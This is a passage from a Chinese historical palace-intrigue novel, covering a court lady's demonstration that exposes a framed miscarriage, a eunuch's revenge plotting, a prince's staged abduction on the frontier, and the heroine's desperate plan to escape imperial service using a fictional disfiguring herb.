泰和帝冷眼盯着她,仍未开口,但明显眼底倦色已经敛去,换作几分冷峭的探究。 周妙雅继续道:“若是寻常材质的鞠球,从容妃娘娘所在的位置,传到皇后娘娘所站的角度,是无论如何也踢不到火盆附近的,这一点,下官以尺规量角,反复演算,皆得此果 。” 随即,她微微抬首,话锋更为犀利:“而事发当日的鞠球之所以能被踢到火盆处,是因为鞠球内部藏有铁砂硝石,鞠球的重量改变了,其飞行的轨迹也随之改变,此理论,下官已用两种不同材质的鞠球,验证过无数次。” 殿内霎时静了一瞬。 魏琰抬眼,针尖似的目光倏地钉在周妙雅的身上,黄毛丫头,满口荒唐,她到底在放什么狗屁? 泰和帝默然一瞬,忽地低笑,声里带着几分玩味与好奇:“哦?西洋人的理论?” “是。” 周妙雅垂眸解释道:“下官曾随徐明阳大人绘制《坤舆万国全图》,有幸得徐大人亲授西学。” 泰和帝自是知道徐明阳的,前内阁次辅,宁王的老师,亦曾为他讲经。 他素知宁王与这位老师的情分,师如父,弟如子,念及宁王独守辽东风雪,泰和帝胸口便泛起涩味。那是他自幼捧在掌心,锦衣玉食养大的亲弟弟,如今关外寒苦,也不知他过得怎么样了。 沉默了片刻,他忽然开口:“有意思。” 随即,皇帝抬手:“那便…当场演示给朕看。” 周妙雅应了声是,随后起身走到殿中央的空地。 早有宫人按照她的吩咐,抬来了两个一模一样的鞠球架,又搬来了一个小巧的铜火盆,并非当日的那个,只是个做样子。 她亲自摆好了位置,一个点在西,代表任容妃,一个点在东,代表皇后。两个点之间的距离,角度,都按当日的情形完整复现。 布置完毕,她回身作了一揖:“请陛下允臣选两名与二位娘娘身形相仿的宫女,代为演示。” 泰和帝颔首。 两名宫女依令就位。 周妙雅取寻常鞠球,递与西侧者,附耳低声叮嘱数语。 那宫女抬脚,将球朝东边踢去。 球划过一道弧线,稳稳落在东边宫女脚前,离那个铜火盆,足足差了三尺远。 再试了一次,加重三分力道,仍是差三尺。 又试了一次,收减五分力道,亦是差三尺。 无论两个宫女怎么调整力道,那球都碰不到火盆。 泰和帝不自觉地倾身向前,好奇地看向场中,目光紧锁。 周妙雅又取来另一只鞠球,这只球外表看起来和刚才那只一模一样,只是入手时,她特意掂了掂重量。 她解释道:“此球内填了铁砂,重量约为寻常鞠球的双倍。” 还是西边的宫女踢球。 这次,球飞出去的弧线明显不同了,它飞得更低,更快,落点也更偏,不偏不倚,正正撞在那铜火盆的边沿上。 只听“咣铛”一声轻响,盆身晃而未倒,清音绕梁,满殿皆闻。 泰和帝盯着那球,良久未语,周妙雅却在这一瞬,从他眼底窥得风向已悄然逆转。 她见状,当即俯身,声线平稳:“陛下,北镇抚司于当日封存了所有证物,那鞠球的残骸现就存于证物房,铁砂硝石俱在,一验便知。” 泰和帝颔首,看向顾凌云:“顾佥事,去将证物取来。” “臣遵旨。”顾凌云领旨,转身便出了殿门。 不多时,顾凌云便捧着一个木匣回来了。 原来这三日,周妙雅明里赏花写字,暗里只交代顾凌云一件事:盯死证物,以防魏琰调包。 这是她跟朱弘毅学的,闲散,便是麻痹敌人最好的保护伞。 顾凌云打开木匣,里面全是焦黑的碎皮,断线,还有一些暗沉沉的细小颗粒。 周妙雅接过木盒,走到御案前跪下:“陛下可传仵作查验。” 泰和帝挥挥手:“传。” 很快,北镇抚司的老仵作被带进到殿上。 他伏跪地面,仔仔细细地查验那些碎片与颗粒。 半晌,他叩首道:“启禀陛下,此鞠球残片中确有铁砂,硝石残留。这球…是被人做过手脚的。” 霎时间,殿中静得可闻针落。 任容妃脸色煞白,嘴唇哆嗦着,想说什么,却发不出声音。 泰和帝目光缓缓移过去,厉声道:“容妃,可有话要说?” “臣妾…臣妾冤枉啊陛下!” 任容妃扑通一声跪倒在地,瞬间泪如雨下:“球是尚服局送来的,臣妾只踢了一脚,其余一概不知啊陛下!” 她哭得哀婉欲绝,泰和帝却连眉也未动一下,只侧首问周妙雅:“还有么?” 周妙雅俯身:“请陛下召太医院卢院判。” 泰和帝看了她一眼,没问为什么,只道:“传。” 赏花写字是障眼,她真正的第二步棋,早在三日里布下,便是请卢院判暗中调查那具婴儿的尸身。 卢院判很快来到殿上,说出了惊人的两道铁证:“其一,小皇子先天不足,脏腑孱弱,依脉象骨相推断,应是未足月便降生,即便没有此番惊吓,恐怕也…难逾满月。” 他顿了顿,复又说道:“其二,为容妃娘娘安胎,接生的郭太医,已服毒自尽…” 任容妃瘫坐在地上,脸上血色尽失,她看着泰和帝,嘴唇动了动,却什么声音也发不出来。 泰和帝也看着她。 良久,他终于开口,声音冷得像冰:“容妃任氏,戕害皇嗣,构陷中宫,即日起褫夺封号,打入冷宫。” 任容妃猛地睁大眼睛:“陛下!臣妾冤枉!臣妾真的是冤枉的!陛下!” 第114章 司礼监值房的门在身后被重重地阖上, 发出一声闷响。 魏琰站在屋子的正中央,胸膛剧烈地起伏着,怒火一寸一寸地焚烧着他的心, 灼得他眼底布满血红。 “啪——!” 桌案上的东西被他尽数扫落在地, 青玉笔洗坠地瞬间碎成瓷片, 堆叠的奏本被扫落得纸页飞扬,墨砚中的墨汁溅的到处都是。 顷刻间,权柄与威仪碎作一地,恰如众目睽睽之下,他被那黄毛丫头撕得稀烂的脸面。 “周、妙、雅。” 他咬碎银牙,一字一字从齿缝里磨出这个名字,声音低哑, 裹着淬毒的恨意。 好,好得很。 区区一个七品小女官, 竟敢用那些鬼画符似的西洋把戏, 破了他的局,生生把他魏公公的颜面扯了下来,踩成了烂泥。 任氏那枚棋子废了也就废了, 他可以再给陛下进献其他美人。可那份折在黄毛丫头手里的耻辱,像一把利刃, 狠狠扎进了他的心口。 眼底阴潮翻涌,魏琰吞下舌尖血, 暗暗发狠: 咱家记住你了,周、妙、雅。 等着, 咱家便亲手教你领略什么叫做生不如死,也让你亲口尝一尝皇后与宁王如今的滋味。 念及此处,他忽然听见一阵细碎的脚步声, 由远及近,停在了门外,紧接着,小心翼翼的叩门声响起。 “厂公。” 小太监的声音在门外传来,带着掩饰不住的惶恐:“陛下…陛下请您过去一趟。” 魏琰的动作猛地顿住,他闭上眼,深深吸了一口气。 再睁开时,眼底那些翻江倒海的怒火已被强行压下。 他缓缓松开了攥紧的手,理了理身上略凌乱的蟒袍,又抬手,将方才因怒意而微乱的鬓发一丝不苟地抿回耳后。 “知道了。”他声线平稳,听不出半分波澜。 乾清宫内的丹香,似乎比往日更浓郁了几分。 那股甜腻的异域番香味,无孔不入地缠绕进每一寸空气中,熏得人脑仁发木。 泰和帝半倚在御座之上,单手撑着额角,眼皮懒懒地耷拉着,像是睡去了,又像是醒着。 烛光昏黯,映得他昔日英挺的面庞被镀上一层灰败的尘色,光泽尽失。 魏琰趋步而上,躬身,拂袖,叩首:“老奴叩见陛下。” 泰和帝纹丝未动,连眼皮也未抬一下,只从喉咙深处溢出一声含糊的“嗯”。 西洋人进贡的自鸣钟发出滴滴答答的声响,在过分寂静的大殿里显得格外清晰。 过了许久,魏琰躬着的腰背开始泛起细微的酸意,御座上的人才像是终于攒够了力气,慢吞吞抬起另一只手,揉了揉太阳穴。 “大伴 。” 泰和帝开口,声音沙哑:“那个周女官…眼下,在哪一处当差来着?” 魏琰心头蓦地一沉。 他保持着躬身的姿势,声音放得愈发低柔恭顺:“回陛下,尚宫局,正七品司典。” 泰和帝懒懒地“哦”了一声。 那声“哦”字被他拖得极长,尾音轻挑,带着点说不清道不明的暧昧意味… 忽然,他低低笑了一声,却笑得魏琰脊背发寒。 “大伴。” 泰和帝终于抬起眼皮,似打猎的猎人发现了猎物一般:“朕竟不知…这六尚局里,还藏着这样的人物。” 说罢,他顿了顿,语速很慢,似在斟酌字句,又像是单纯提不起力气。 “生得那般美貌,偏还有这样的心思和胆色。” 他转过脸,目光终于落在了魏琰身上。 “这,可是你的失职?” 魏琰扑通一声跪倒在地。 额头抵着冰冷坚硬的地面,他伏低身子,声音带着惶恐与颤意:“老奴该死!老奴失察!未能早为陛下献此贤才,是奴才的大罪!请陛下重重责罚!” 泰和帝只冷冷看着他,半晌,御座上才传来淡淡的声音:“起来吧,大伴。” 魏琰叩首谢恩,他缓缓直身,仍保持躬腰垂手的姿态,静静立在原地。 泰和帝重新靠回椅背,似乎又有些倦了,半阖着眼。 又过了片刻,他才悠悠开口,声音不高,却带着帝王的威严:“自明日起,便调她来御前侍奉吧。” 魏琰的指尖,在宽大袖袍的遮掩下紧紧蜷缩着,他嘴唇微动,还想说些什么。 可御座上的皇帝并没有给他说话的机会,只带着倦意,自顾自地往下说道:“就让她在乾清宫,伺候朕的笔墨。” 说罢,泰和帝抬手一挥,似耗尽了所有的精神,复又阖上眼:“去办吧。” 魏琰站在原地,将心中翻涌的所有毒计与恨意都死死压回了心底最深处,最终,他只是将腰折得更低,深深一揖。 “老奴…遵旨。” 魏琰领命后,便悄无声息地退出了大殿。 站在廊下的寒风中,他越琢磨越心寒,年轻的皇帝刚失了孩子,转眼就把昔日的宠妃扔进了冷宫,脸上却不见半分哀意。 如今很快又盯上了另一个美貌的女人,还要调她来御前侍奉,如此冷心冷血,仿佛那龙榻之上,只是缺新鲜的皮囊而已,从来缺的不是情。 他伺候了这位主子一辈子,看着他由眼神澄澈的少年,变成如今这副半人半鬼,心思难测的模样。 有时连他也辨不出,御座上那抹玩味与凉薄,是被丹药腐蚀了灵魂,还是那把龙椅本身,把人熬成这副模样… 不过…这样也好。 魏琰眼底那抹冰冷的弧度渐渐锋利了起来。 将她调到乾清宫,调到天子眼前,调到他的眼皮子底下。 既然这贱婢胆敢坏他的好事,断他的棋路,撕他的脸面。 那他便亲自来。 一寸寸,慢慢折磨。 他有的是时间,有的是手段。 御前侍奉?天恩浩荡?他倒要看看,这泼天的恩典,她接不接得住,又能在龙椅边那炙人的炭火上,熬上几日? 被如此凉薄的帝王相中,可不是什么好事。 咱家便等着,待你清白尽失,退路皆断,到那一日,不要说那回不来的宁王殿下,便是神仙,也救不了你。 ———— 辽东的深秋渐冷,才刚到十月,广宁城外的野地里,草尖就已挂了层薄薄的白霜。 朱弘毅在广宁府已经待了许久,如今住在城东的一座三进宅院里,是巡抚衙门给拨的。 这些日子,广宁城里但凡有头有脸的人物,都见识过了这位京城来的宁王殿下是何等的奢靡骄纵,花天酒地。 校场边,他看着兵士们操练,没看几眼就嚷嚷着风大头疼,裹着狐裘钻进暖轿,打道回府,留满场将士们愕然。 宴席上,李道远与高第轮流做东,朱弘毅醉眼迷离地听着小曲儿,烈酒下肚便放浪形骸,浑话连篇,醉得不省人事,最后总要长安半拖半抱才能把他弄回去。 李道远背地里嗤笑道:“原以为是个过江龙,没想到,是条没骨头的虫。” 高第往炭盆里啐了一口浓痰,不屑道:“京城里那些贵人们,离了金窝银窝,就这副德性,哪像咱哥俩,日吹边关风沙,夜抱寒霜刀子,他倒好,白费厂公对他的一番厚望。” 这些话传到朱弘毅耳朵里,他只是静静地听着,唇角一挑,便勾起一抹转瞬即逝的弧度,冷得像广宁城外结了冰的河面。 蠢人鼓噪,正中下怀。 白日里,他仍是那个肩不能挑,手不能提,被北地寒风吓破胆的废物王爷。 可到了夜里,那宅邸书房的灯,时常会亮到后半夜。 在李道远与高第都以为他亮着灯是为了继续声色犬马,实际上,书案只有摊开的辽东舆图,上面用极细的墨笔,写着密密麻麻的标注:李道远麾下尚能征战的老卒,高第虚报的空饷缺口,屯粮仓,牧马场的位置,以及北狄骚扰最频繁的隘口在哪… 他现在闭着眼,都能在脑中勾勒出这片土地上的每一寸筋骨。 长安悄声送茶进来,见朱弘毅捏着眉心,正盯着舆图上某个地方出神,眼底是一片清明锐利,哪里还有半分白日里的醉意与昏聩。 “殿下,该歇息了。”长安低声道。 朱弘毅淡淡地“嗯”了一声,指尖却落在地图上更东的一隅——皮岛。 良久,他忽然开口,声音有些微哑:“李道远和高第那边,近日往京里递消息,是不是更勤了?” 长安垂首答道:“是,按殿下吩咐,咱们的人次次都将信笺截下,看过之后便又原样封回。” 朱弘毅随口问道:“里面都说了些什么?” 长安答道:“说王爷终日宴饮,不堪苦寒,怨言颇多,还说您日前到校场,连三十斤的石锁都举不起来,被兵痞们私下当做笑谈。” 朱弘毅听着,脸上没什么表情,半晌,才极轻地笑了一下:“就是举不起才好,若是举起来了,他们就该睡不着了。” 说罢,他站起身走到窗边,将窗棂推开了一丝缝隙,寒气立刻刀锋般地刮了进来。 他望着窗外浓得化不开的夜色,低声道:“魏琰与康敏之,笑话若是看够了,也该递刀子了。” 京城的刀,果然来得很快。 几乎就在那夜朱弘毅与长安对话后的几日,李道远与高第便一同登门了。 他二人脸上堆着笑,话却说得冠冕堂皇且滴水不漏。 车轱辘话翻来覆去,大意不过一句:宁王殿下代天子巡狩,久居府城,恐难以体察真正的边塞军情。近日探子来报,北狄有一小股游骑在镇远堡一带出没,劫掠商队。殿下不若亲临前线,一来鼓舞守军士气,二来嘛,也叫京城那些不知边关艰苦的大人们瞧瞧,王爷是心系疆土的。 话里话外,情真意切,仿佛句句是在为朱弘毅考量。 朱弘毅此刻正歪在榻上,一个眉眼娇俏的丫鬟见状,欲要上前帮他按腿。 听了这话,他皱着眉,一脚踹开那丫鬟,满脸不耐 道:“镇远堡?光听着就冻得慌。本王这几日虚得很,见风就头疼。你二人看着办便是,何必折腾本王?” 李道远与高第霎时交换了一个心照不宣的眼神。 只见李道远再进一步,声情并茂地劝道:“殿下,正因如此,才更该要去啊。陛下若知殿下如此辛劳,亲冒矢石,定感欣慰。再者,不过一小股毛贼而已,有末将等精锐护持,殿下安危绝无问题。殿下只需在堡墙上站一站,露个面,便是天大的功劳。” 朱弘毅眼神飘忽,指间不住地搓弄着腰间玉佩上的流苏,面上露出一副犹豫又胆怯的神情。 高第立刻唱和道:“殿下,机会难得啊,此番去了,便是殿下的资历,往后回京,任谁还敢再对殿下说一个不字?” 两人一唱一和,劝了足足一盏茶的功夫。 朱弘毅像是被磨得没了退路,又似万般不甘,终是垮着肩,勉勉强强地带着十二分不情愿应了下来: “罢了罢了,去便去吧,只是…” 他叮嘱道:“多带些人马,护得周全些,本王可不想有什么闪失。” 李道远拍着胸脯保证:“殿下放心!下官万死护殿下周全!” 两人告辞离去时,背影轻快地仿佛完成了一项重大任务。 书房门重新合上。 朱弘毅挥退了左右,脸上那层畏缩与昏聩瞬间被剥落得干干净净。 他行至舆图前,目光精准锁定在镇远堡三个字上。 那地方他是知道的,地势算不得险要,但偏得荒凉。堡墙年久失修,守军多是老弱病残。更要紧的是,从广宁城到镇远堡的那条路上,有几段极适合…出事。 “长安。” “属下在。” “去准备吧。” 朱弘毅的声音很平静:“按我们之前议定的第二套法子,李道远和高第安排的人,这些时日你盯紧些,他们想让本王在行至镇远堡的路上出事,让北狄人背锅…” 说到此处,他顿了顿,眼底闪过一丝极冷厉的寒光。 “既如此,那咱们就帮他们把这出戏,唱得更真些。” 第115章 镇远堡之行, 择定十月下旬启程。 朱弘毅让长安提前备了顶极尽奢华的暖轿,轿厢比寻常制式宽上一倍,蒙着厚紫貂皮, 轿顶鎏金, 檐角挂了金铃。 轿厢里头铺了一整张白狐皮, 小几置在正中央,用银骨炭温着酒,一路香暖。 出发那日,天还未亮,待轿子抬出府门时,李道远与高第已骑马候了许久。 高第盯着那紫貂暖轿看了许久,喉结滚动, 低声对李道远啐了一句:“真特娘的会享福。” 李道远白了他一眼,没吭声。 队伍启程, 八名亲兵抬轿, 脚步稳当,金铃叮当响了一路。 轿帘垂着,偶尔被风掀开一角, 能瞥见里头的人影半倚着狐皮,手中捏着酒杯。 随行兵卒斜眼偷觑, 有人舔了舔干裂的嘴唇,嘟囔道:“人家过的这特么的才叫日子…” 话还没说完, 已被什长一眼瞪回。 此一行人越往北走,景色愈发荒凉。 路边枯草挂着冷霜, 狂风卷起沙砾,拍在貂皮轿壁上,沙沙作响。 待一行人进入鹰嘴峡时, 天突然开始阴得厉害起来。 峡道逼仄,两侧山壁陡峭,仰首只余一线灰白色的天光。 走到这里,轿夫的脚步明显放慢了下来。 李道远手搭在刀柄上,眼神不时扫向轿帘。 高第身子微微前倾,似在听着什么动静。 就在这时—— 崖顶唿哨骤起,一声响过一声,尖锐又刺耳,从四面八方炸开! “敌袭!” 李道远拔刀高喊。 他吼声未落,箭雨已黑压压扑下,破空呼啸,遮天蔽日。 暖轿瞬间被扎成筛子,貂皮被箭矢撕裂,金铃被打飞,一支利箭穿透轿壁,瞬间钉在小几上,酒壶应声碎裂。 轿帘猛地被掀开。 朱弘毅踉跄地从暖轿中跌出,蟒袍的前襟被染开大片的暗色,面色惨白,嘴唇哆嗦,被吓得发不出声音。 “王爷当心!”长安扑身来扶,肩胛却遭流箭贯入,闷哼了一声,随即倒地。 下一瞬,自山崖跃下数十道黑影,他们留着北狄人特有的金钱鼠尾发型,身手矫健,落地无声,弯刀在昏暗中泛着冷光,直扑朱弘毅而去。 李道远的亲兵佯装奋力抵挡,刀口相撞火星四溅,却每一下都被巧劲震得踉跄退后半步。 不过须臾间,防线恰到好处地被撕开一道口子,北狄人的黑影掠身而过,寒刃直逼朱弘毅心口。 一个北狄壮汉一把攥住朱弘毅的衣领,像拎小鸡一般将他提了起来。 另一个人迅速上前,用牛皮绳将他双手捆住,用粗麻布粗暴地将他的嘴堵了起来。 朱弘毅挣扎了两下,被扛上马背。 十步外,李道远与高第勒马按刀,冷眼旁观看着北狄人得手,奢华暖轿被弃,废物宁王像货物一样被北狄人横扔在马鞍前。 领头的北狄人吹了一声短哨,数十骑铁骑立刻聚拢,挟俘虏朝峡谷深处疾驰而去。 铁蹄扬尘,灰土迷眼,箭雨骤歇,山谷中只余伤兵的喘息与残风呼啸。 李道远俯身探入残轿,里面是凄惨一片,酒壶碎了,美酒撒了一地,小几歪斜,上面插满了箭矢。 他盯着看了片刻,缓缓吐出一口浊气。 高第跟上,面色犹带仓皇:“人已带走了,捆得结实,嘴也塞死了,肩胛好像中了一箭,血流了一路。” 李道远沉默。 耳畔浮起魏琰与康敏之密信中的那句话:“活要见人,死要见尸,最好是尸。” 如今人虽活着,但被北狄人掳去做俘虏,跟尸也差不多了,来日传信回京师,便是第二个土木堡,天家颜面扫地。 “收整队伍。” 李道远开口,声音有些发干:“清点伤亡,立刻回城。” “大人,不追了?”人群中有人大胆问道。 “追?” 李道远冷嗤:“北狄马快,又钻进了深山老林,你告诉老子,往哪条阴沟里追?” 高第会意,示意底下兵油子莫要再言语。 队伍草草收拢,伤兵被抬上了马背,死的便拖到悬崖用乱石掩埋,那顶奢华无比的暖轿被弃在了原地。 李道远最后看了一眼峡谷深处。 那里早不已见北狄人的踪影。 他果断调转马头,厉声下令道:“回城。” 北狄人挟着朱弘毅,在峡谷里疾驰了约莫三里地,拐进了一处岔道。 领头的北狄人忽然勒马,吹了声唿哨。 马队骤然停下。 一行北狄人翻身下马,将朱弘毅从马背上拖了下来,扔到了地上。 而后他们退开了几步,将手按在刀柄上,死死盯着朱弘毅。 朱弘毅嘴里的布团被粗暴地取了出来,瞬间被呛出了两口血沫。 领头那人走了过来,蹲下,用生硬的大晟官话厉声问他:“你,真是宁王?” 朱弘毅没回答他,只是盯着他问:“李道远许了你们什么?” 北狄人沉默了片刻:“五百匹绢,一千两银,还有…广宁城外三十里草场。” 朱弘毅低嗤了一声:“他根本给不了,那片草场,早被高第圈成私马场了。” 听到这话,领头的北狄人眸色骤沉,瞬间如刃抵喉。 朱弘毅抬手抹了抹唇角血丝,继续说道:“李道远与高第让你们杀我,然后栽赃给北狄游骑,事成之后,他们怕走漏风声,定会灭口,鹰嘴峡再往北十里,早有伏兵候着你们。” 那领头的北狄人猛地站起身,朝同伴说了几句什么,那些北狄人脸色都变了,手按上刀柄,霎时间眼神便变得凶狠起来。 就在此时—— 山壁两侧忽然跃下十几道黑影! 这些人身着夜行衣,脸上蒙着黑巾,手中弩箭早已上弦,在跃下的瞬间,弩机扣响,短箭破空,直取北狄人咽喉。 事出突然,北狄人根本来不及反应,眨眼间,便有四个北狄人已扑地毙命。 余下北狄人拔刀欲战,但黑衣死士已扑到近前,刀光闪过,血溅山壁,不过数息之间,最后一个北狄人也捂着喉咙倒地而亡。 峡谷瞬间重归了寂静。 为首的死士走到朱弘毅面前,单膝跪地:“王爷。” 朱弘毅看着他,淡声问道:“都处理干净了?” “回王爷,属下已带人将北狄人的尸首都拖去了北边崖下,马匹都已赶散,痕迹都抹了。” 那死士压低嗓音,继续禀报:“按王爷吩咐,留了两具北狄人的尸体,箭伤换成了刀伤,看着像是内讧。” 朱弘毅轻轻颔首,眸色冷定。 长安这才从另一条小路赶来,肩上的箭伤已被草草包扎,血已洇透他肩头。 他身后牵着两匹马,马背上驮着几个麻袋。 “王爷,种子都在。” 长安喘着粗气:“土豆,玉米,还有徐大人给的农书。” 朱弘毅走到马前,伸手摸了摸麻袋。 他想起离开天津卫前,徐明阳那双满是老茧的手,将种子递给他时说的话:“王爷,这些东西比刀剑管用,刀剑杀人,粮食活人。” “走。” 朱弘毅翻身上马,马鞭指着东边:“趁海面尚未封冻,去皮岛。” ———— 申时初刻,司礼监一小太监来到尚宫局宣旨。 那小太监面生,声音尖细,手中拿着明黄黄的圣旨,对着跪在地上的周妙雅宣读:“…着尚宫局正七品司典女官周妙雅即刻擢调乾清宫,侍奉御前笔墨…” 就在最后这句话落地之时,周妙雅伏在地上的指尖微微颤了颤,随即强装镇定,叩首,谢恩,起身接旨。 待那宣旨的 太监走了之后,尚宫局的女官们果然开始细碎地叽叽喳喳起来。 “看吧,我早说什么来着?生得这般颜色,还做什么女官?早晚是要攀龙床,给陛下做妃子的…” 旁边立马有人附和道:“可不是吗,先前没处在圣上面前露脸,如今倒好,专挑皇后与任容妃撕扯的当口,踩着人血馒头在御前演了一出好戏,可把她给秀坏了!瞧,这不就要飞上枝头了?” 旁边又有人压低声音道:“啧啧,圣上心思难测得紧,上一个攀龙床的女官秦婉如,是什么下场?冷宫熬尽,诏狱惨死。要我看呐,这周妙雅的好日子要到头了,只是白瞎了这副天仙般的脸蛋儿。” 身后碎语如蚊蚋,嗡嗡绕梁,周妙雅却只是垂首立着,纹丝不动,手里死死攥着那卷明黄色的圣旨。 孙女官见此情景,疾步穿过人群,走到周妙雅的身边,一把握住了她的肩膀:“妙雅,先跟我回去。” 周妙雅侧首,眼底盈着泪光,喉间哽咽了一声:“姑姑…” 孙女官掌心收紧,只重重一点头:“没事。” 周妙雅随孙女官回了寝室,孙女官遣人驱散了院中嚼舌的闲众。 掩上门,隔绝了外头的动静,孙女官这才低声道:“我差人去打听了,是圣上亲自下的旨,让魏公公调你去乾清宫侍奉。” 周妙雅指节收紧,声音艰涩:“姑姑,可为什么?就因为…蹴鞠场的事?” 孙女官沉默了片刻:“是,也不是。” 周妙雅瞪大了眼睛,不解地看着她。 孙女官复又叹息道:“你在御前死谏,为皇后解围,在圣上面前露了才学,胆识,智慧,自然也露了…这张脸…” 周妙雅听罢,喉头倏然一紧,像被一只无形的大手死死攥住一般。 “圣上心思难测。” 孙女官近前一步,声音压得极低,叹道:“可圣上终究是男人,男人爱美人,更爱有胆识,有才学,有智慧的美人。” 她望着周妙雅,眼底凝着沉重的忧色:“妙雅,乾清宫不比六尚局,在那里当差,是在圣上跟前,又是在魏琰的眼皮子底下,前有狼,后有虎,你每走一步,都像踩在刀尖上。” 周妙雅垂着头,没有说话。 半晌,她才抬起头,望向孙女官,轻声说了一句:“姑姑,我知道了。” 知道什么?知道帝王心思如渊?知道魏琰虎视眈眈?还是知道这一步踏出去,便是万劫不复? 她心中自嘲地笑了笑,这些她何尝不知?可又能如何?抗旨?她并无九族,全家蒙冤惨死在黑水河,即便是抗旨,横竖也就是个死。 可是她要活着,活着为家族昭雪,活着等朱弘毅回来娶她。 定了定神,她双手死死攥紧,咬着牙,终还是说了一句: “姑姑,妙雅会小心的。” 第116章 孙女官走了之后, 屋内彻底静了下来。 窗外的天色一分一分的沉了下去,周妙雅将桌案上的明角灯点亮,铜镜中照映出一张苍白的脸。 她端坐在镜前, 一动不动地凝望了许久。明角灯中的烛火跳跃, 将她的影子拉长又揉碎, 像是另一个被困在镜中,无声嘶喊的自己。 御前侍奉… 这四个字如同烧红的烙铁,烫在她的心口上,滋滋作响,皮肉焦糊。 她很清楚那意味着什么… 帝王的占有,魏琰的阴鸷,还有无数双藏在暗处, 等着看她跌落或粉身碎骨的眼睛… 乾清宫那道门槛,踏进去, 便是将整条命悬在了刀尖之上。 指尖瞬间失去血色, 变得冰凉。 她忽然伸出手,拉开妆匣最底下那层暗格。 暗格里静静躺着一枚金簪,花丝缠绕成宫灯的形状, 做工精巧,簪头的南海珍珠在烛火下泛着温润的光。 上元灯节那夜, 朱弘毅将它轻轻簪入她的发间,眼底笑意灼灼, 她至今仍记得分明。 周妙雅攥紧手中的金簪,冰凉的金属硌得她掌心生疼。 若是真去了御前, 被那无力反抗之人随意摆布…她还能干干净净的等到他回来么? 镜中的面容依旧姣好,眉目如画,可正是这张脸, 成了祸根。 一个念头,忽然如野草般在她心中疯长… 毁了它。 毁了这张脸,便可一了百了。 皇帝不会要一个容颜尽毁的女子,魏琰的算盘也会落空。 不过是用一张皮囊,为自己换条生路,有何不值? 想到这里,她的心跳得又快又重,在胸腔中横冲直撞。 她抬起手,将簪尖缓缓抵在了左脸的脸颊上。 冰冷的触感顺着皮肤渗了进来,激起一阵战栗。 只需用力一划,便可一了百了! 她紧闭上双眼,指尖却在发抖。 不是怕疼。 她在怕什么呢? 怕这道疤下去,便真的一无所有了… 他日重逢,他望见这张脸时,眼底会掠过惊愕,惋惜,还是…厌弃? 她紧闭双眼,咬着牙,将簪尖又压入半分。 就在这一瞬,脑海中却毫无征兆地闪出了另一幅画面… 瀚海楼高耸入天的书架,午后阳光从窗格漏了进来,她踮着脚去够最顶层的那本《南疆采药异闻录》,一阵剧烈的眩晕突然袭来,她身体不受控地向后一仰… “当心!” 一双手臂稳稳地接住从高梯上摔下来的她,惊慌抬眸,正对上朱弘毅近在咫尺的眼。 《南疆采药异闻录》…她记得这本书。 南疆瘴疠之地,有一种奇药,形如鬼面,故名鬼面草。其汁液沾肤,可令肌肤红肿溃烂,状若恶疮,但并非真毁肌理。 书中亦记载了其解药玉容散的配制方法,若及时服下玉容散,半个时辰内鬼面草的毒性可自解,容颜遂恢复如初。 她瞬间放下了手中的金簪,心却跳的更快了。 铜镜里的身影晃了晃,脸上褪去了方才的死寂与绝望,眼底重新聚起了一点微弱却清晰的光。 像暗夜里行船的人,忽然瞥见了远处微暗的星芒。 若此法可行…她尚还有一丝破局的希望。 想到这里,她倏地站起身,迅速从衣柜深处翻出了一件半旧的斗篷,颜色黯淡,毫不惹眼。 她将自己从头到脚裹严实了,又对着铜镜将鬓发捋了捋,确保无一处凌乱招摇。 推门出去时,廊下已空无一人,暮色四合,宫灯尚未燃起。 她低着头,将半张脸埋进斗篷的风帽里,脚步又轻又快,像一道无声的影子,悄然融进了渐浓的暮色中。 司药司内,女官们已下职去用晚膳了,唯韩司药一人在灯下秉烛夜读。 明角灯的光晕在韩司药脸上跳跃,她闻声抬首,见是周妙雅独自前来,微微一怔,放下手中书卷。 “周司典?” 她目露讶色:“这个时辰,你怎么独自过来了?” 周妙雅取下风帽,露出苍白却平静的脸,声音很轻,却字字清晰:“韩司药,妙雅有事相询。” “请讲。”韩司药示意她坐下。 周妙雅未动,只目光直直看向她,直切正题:“不知韩司药可曾见过一本医书,名为《南疆采药异闻录》?” 韩司药眉头微蹙,思索片刻:“南疆…似乎有些 印象。” 说罢,她站起身:“司药司的藏书都在典籍室,周司典请随我来。” 穿过几重院落,两人来到六尚局深处一间不起眼的偏房前。 韩司药用钥匙打开门锁,两人走了进去。 屋内书架林立,架上的典籍堆叠如山。 韩司药点燃了一盏明角灯,高高举起,沿着书架一列列地寻了过去,周妙雅跟在她身后,目光扫过那些蒙尘的书脊,心跳在寂静中一声重过一声。 找了约莫一盏茶的工夫,韩司药忽然在一处角落停下,她蹲下身,从最底层艰难地抽出了一本泛黄的旧册子,轻轻拍掉了封面上的灰尘。 这本书显然是鲜少有人读过。 “是这本。”她起身,将书递给了周妙雅。 周妙雅颤抖着接过了那本书,借着灯光,她迅速地翻开泛黄的书页,一页,又一页…终于,她的目光死死锁定在了南疆奇毒篇。 鬼面草,玉容散… 书中记录图文并茂,配方详实。 她死死地盯着那几行字,将所有内容都牢牢记在了脑海中。 许久,她才抬起头,声音里带着竭力压抑的急切:“韩司药,请问司药司内,可有配齐这两味药所需的全部药材?” 韩司药接过书册,垂首细看那方子。 只扫了几眼,只见她脸色骤变,猛地合上书,几乎是本能地,一把捂住了周妙雅的嘴。 “噤声!” 她嗓音压得极低,惊怒交加:“你疯了?鬼面草在宫中是明令的禁药!私自配制,使用,一经察觉,是要…诛九族的大罪。” 周妙雅被她捂着嘴,竟未挣扎,只一双眼直直望进韩司药的眼底。 那双眸子生得极美,可此刻却翻涌着绝望与祈求,还有一丝近乎疯狂的决绝。 韩司药慢慢松开了手。 周妙雅顺势跪了下去,额头抵住冰冷的地面,哽咽道:“韩司药,求您…救救妙雅,求您了…” 韩司药后退半步,嗓音发紧:“你…” “韩司药,妙雅不愿侍奉御前,更不愿做什么后妃。”周妙雅抬起头,泪水早已糊了满面。 “可圣旨已下,抗旨是死,进了乾清宫…也是生不如死,鬼面草或许还能搏得一线生机,哪怕只是暂时的…求韩司药成全。” 话音未落,她已重重磕下头去,一声声触地的闷响,在寂静的典籍室里格外的清晰。 韩司药僵在原地,垂眸望着伏跪于地的周妙雅。 她想起初见她时,她还是司籍司的女官,后因皇后中了逍遥散,卢院判费了好大劲才寻来的人。 她与这姑娘虽识得不深,却知她有才学,有胆识,断不是轻易折腰之人。 如今这般跪在她面前,是真真的走投无路了。 她们一同经历皇后那场病,也算共过患难的,此刻见她这般,心疼是有的。 